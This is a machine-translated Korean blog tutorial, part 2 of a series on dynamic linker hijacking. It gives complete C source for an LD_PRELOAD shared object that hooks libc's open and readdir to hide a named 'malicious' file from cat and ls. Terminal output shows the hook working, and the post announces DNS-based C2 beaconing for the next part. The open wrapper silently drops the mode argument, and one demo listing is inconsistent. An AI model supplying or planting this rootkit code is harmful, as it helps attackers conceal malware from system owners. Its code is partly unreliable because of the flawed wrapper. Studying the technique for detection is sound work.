동적 링커 하이재킹 실험 - 회피 기술(2부)

저니 포스트



이 포스트는 제가 "여행 포스트"라고 부르는 것으로, 문제(또는 도전)에 대한 해결책을 연구하고 구현하는 과정을 따릅니다. 급한 경우 건너뛸 수 있도록 게시물의 일부를 html과 같은<journey>로 래핑/프리픽스할 것입니다.

개요



지난 게시물에서 readdir 를 사용하는 모든 시스템 호출에서 파일을 숨기는 방법을 설명했습니다. 이 게시물에서는 cat 명령에서 숨기려고 합니다. 먼저 cat 명령이 내부적으로 작동하는 방식을 조사/역설계해 보겠습니다.

당연히 명령이 사용하는 시스템 호출과 신호를 추적하는 간단한strace부터 시작할 것입니다.

$ which cat
/usr/bin/cat
$ strace /usr/bin/cat syl.lys
execve("/usr/bin/cat", ["/usr/bin/cat", "syl.lys"], 0x7ffca9c17508 /* 68 vars */) = 0
...
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) // WINK WINK, not yet
...
openat(AT_FDCWD, "syl.lys", O_RDONLY) = 3


출력에서 가장 흥미로운 sys 호출은 openat이므로 openat.c의 소스 코드를 볼 수 있습니다. 여기에서 char const *file 변수가 파일 이름을 보유하고 있는 것을 볼 수 있습니다(strace 출력 참조). 그 후 동일한 서명으로 함수를 구현하고 원래 서명을 래핑하여 마지막 단계를 따랐습니다.
<journey>
몇 번의 시도 끝에 문제가 있음을 금방 깨달았습니다. 내가 구현한 래퍼가 작동하지 않았거나 적어도 항상 작동하지 않았습니다. 나는 그것을 호출하는 간단한 프로그램으로 그것을 테스트했고 거기에서 작동했습니다. 왜 그것이 무엇을하는지 이해하지 못했지만 다음 토론을 찾았습니다.
  • intercepting the openat() system call for GNU tar
  • How to find out what functions to intercept with LD_PRELOAD?

  • 밝혀진 바와 같이 (내 최선의 추측) 내가 재정의하려는 sys 호출openat은 아마도 cat가 사용하는 호출이 아닐 것입니다. 나는 [cat.c][ https://github.com/coreutils/coreutils/blob/master/src/cat.c ]의 소스 코드를 살펴보고 *open*가 포함된 모든 항목을 검색하기로 결정했습니다.

    line 686에서 open에 대한 호출을 찾았습니다. 여기서 중요한 점은 여기에서 이open 호출이 sys 호출이 아니라 우리를 위해 관련 시스템 호출을 호출할 std lib의 호출이라는 것입니다. 그래서 접근 방식을 변경하고 대신 open 함수를 재정의하기로 결정했습니다.
    </journey>
    open function은 어떻게 작동합니까? 나는 내가 거의 잘하지 못하는 것을 설명하려고 시도하지 않을 것이므로 그에 대한 매뉴얼 페이지를 읽는 것이 가장 좋습니다.

    open function의 서명을 복사하고 래핑하는 것으로 시작하겠습니다.

    static int (*original_open)(const char *filename, int flags, ...) = NULL;
    
    int open (const char *filename, int flags, ...)
    {
        original_open = dlsym(RTLD_NEXT, "open");
        return original_open(filename, flags);
    }
    


    이 코드 블록에서는 open 함수의 구현으로 원래 open 함수를 래핑했습니다. 이제 남은 것은 여기에 우리의 "악성"부분을 추가하는 것입니다.

    if (strcmp(filename, MALICIOUS_FILE) == 0) 
    {
        errno = ENOENT; // Setting up the error to be ERROR NO ENTRY(ENOENT)
        return -1; // Returning -1 (failure)
    }
    


    그리고 마지막으로 모두 함께

    intercept_open.c

    #define _GNU_SOURCE
    
    #include <fcntl.h>
    #include <dlfcn.h>
    #include <string.h>
    #include <stdio.h>
    #include <errno.h>
    
    #define MALICIOUS_FILE "syl.lys"
    
    static int (*original_open)(const char *filename, int flags, ...) = NULL;
    
    int open (const char *filename, int flags, ...)
    {   
        if (strcmp(filename, MALICIOUS_FILE) == 0) 
        {
            errno = ENOENT;
            return -1;
        }
        original_open = dlsym(RTLD_NEXT, "open");
        return original_open(filename, flags);
    }
    


    작동하는지 봅시다...

    $ ls
    intercept_open.so  syl.lys
    $ LD_PRELOAD=./intercept_open.so cat syl.lys
    cat: syl.lys: No such file or directory
    


    보시다시피 cat 명령은 우리가 목표로 하는 것과 정확히 일치하는 No such file or directory를 반환합니다.

    readdir과 결합하기



    우리는 표준 lib에서 원본을 래핑하는 악성open 함수를 생성했으며, 이제 이를 이전 게시물의 readdir와 단일 공유 객체로 결합할 수 있습니다.

    malicious.c

    #define _GNU_SOURCE
    
    #include <fcntl.h>
    #include <dlfcn.h>
    #include <string.h>
    #include <stdio.h>
    #include <errno.h>
    #include <dirent.h>
    
    #define MALICIOUS_FILE "syl.lys"
    
    static int (*original_open)(const char *filename, int flags, ...) = NULL;
    struct dirent *(*original_readdir)(DIR *dirp) = NULL;
    
    int open (const char *filename, int flags, ...)
    {
        if (strcmp(filename, MALICIOUS_FILE) == 0) 
        {
            errno = ENOENT;
            return -1;
        }
        original_open = dlsym(RTLD_NEXT, "open");
        return original_open(filename, flags);
    }
    
    struct dirent *readdir(DIR *dirp) 
    {
        struct dirent *ret;
        original_readdir = dlsym(RTLD_NEXT, "readdir");
    
        while((ret = original_readdir(dirp))) {
            if(strstr(ret->d_name, MALICIOUS_FILE) == 0)
                break;
        }
        return ret;
    }
    

    lscat 에서 항목을 가져오지 않아야 합니다.

    $ touch syl.lys
    $ ls
    intercept_open.c  malicious.c  malicious.so  syl.lys
    $ export LD_PRELOAD=./malicious.so
    $ ls
    intercept_open.c  malicious.c  malicious.so  README.md
    $ cat syl.lys
    cat: syl.lys: No such file or directory
    




    이상으로 이 글을 마치겠습니다. 다시한번 여기까지 오셨다면 정말 감사합니다. 다음 부분에서는 더 깊이 들어가 악성 파일이 실행되고 악성 C2 서버를 비콘하도록 만들 것입니다. 레이더(또는 방화벽) 아래에 머물 수 있도록 DNS 프로토콜을 사용하는 몇 가지 C2 통신 예제를 살펴보겠습니다 ^^ .

    Full Source Code

    자원



    이 게시물은 다음 없이는 가능하지 않습니다.
  • https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-5.html
  • https://linux.die.net/man/2/openat
  • 일부 StackOverflow 사용자도 있습니다!
  • 좋은 웹페이지 즐겨찾기